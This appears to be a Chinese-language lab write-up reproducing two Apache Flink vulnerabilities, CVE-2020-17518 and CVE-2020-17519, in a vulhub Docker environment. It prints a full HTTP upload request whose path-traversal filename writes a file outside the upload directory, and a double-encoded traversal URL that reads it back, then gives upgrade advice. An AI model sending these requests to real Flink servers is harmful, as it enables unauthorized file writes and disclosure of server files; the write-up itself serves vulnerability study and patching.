漏洞描述
CVE-2020-17518:通过 REST API 写入远程文件
影响版本:Flink 1.5.1-1.11.2
Flink 1.5.1 引入了 REST API,可通过修改 HTTP HEADER 将任意文件写入到文件系统的任意位置。
CVE-2020-17519:通过 REST API 读取远程文件
影响版本 Flink 1.11.0-1.11.2
Flink 1.11.0-1.11.2 中引入的一项更改,允许攻击者通过 JobManager 进程的 REST 接口读取本地文件系统上的任何文件,访问仅限于 JobManager 可访问的文件。
环境搭建
下载 vulhub
git clone https://github.com/vulhub/vulhub.git
进入目录
cd vulhub/flink/CVE-2020-17518
安装环境
docker-compose up -d
访问
这里版本为 1.11.2
漏洞复现
CVE-2020-17518 复现
构造数据包
POST /jars/upload HTTP/1.1
Host: your ip:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 192
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/flag"
This is flag
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
也可以通过 CVE-2020-17519 来进行读取
CVE-2020-17519 复现
http://your ip:8081//jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fflag
%252f
是 /
的二次编码
直接访问可读取到文件信息
修复建议
升级到安全版本
Flink 1.11.3 或 Flink 1.12.0
参考连接
https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于